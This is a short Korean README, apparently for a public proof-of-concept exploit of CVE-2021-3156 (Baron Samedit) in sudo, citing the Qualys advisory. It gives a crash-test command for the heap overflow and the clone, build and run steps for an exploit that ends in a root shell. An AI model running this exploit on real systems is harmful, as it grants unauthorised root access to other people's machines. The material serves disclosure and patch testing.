
CVE-2021-3156에 대한 개념 증명 익스플로잇으로, sudo 1.9.5p2 이전 버전의 힙 기반 버퍼 오버플로 취약점을 이용하여 sudoedit -s를 통해 루트 권한 상승을 가능하게 합니다.
1.9.5p2 이전의 Sudo에는 off-by-one 오류가 있어 힙 기반 버퍼 오버플로우가 발생할 수 있으며, 이로 인해 sudoedit -s와 단일 백슬래시 문자로 끝나는 명령줄 인수를 통해 루트로 권한 상승이 가능합니다.
출처: Qualys의 Baron Samedit의 권고
sudo 프로젝트에서 sudo 버전이 취약한지 테스트할 수 있는 명령어를 공개했습니다:
sudoedit -s '\' `perl -e 'print "A" x 65536'`
사용법 또는 오류 메시지가 표시되면 sudo가 취약하지 않은 것입니다. 결과가 Segmentation fault이면 sudo가 취약한 것입니다.
CVE-2021-3156에 대한 루트 셸 PoC (무차별 대입 없음) Ubuntu 20.04 (sudo 1.8.31)에서 테스트됨
$ git clone https://github.com/CyberCommands/CVE-2021-3156.git
$ cd CVE-2021-3156
$ make
mkdir libnss_x
cc -O3 -shared -nostdlib -o libnss_x/x.so.2 shellcode.c
cc -O3 -o exploit exploit.c
$ ./exploit
# whoami
root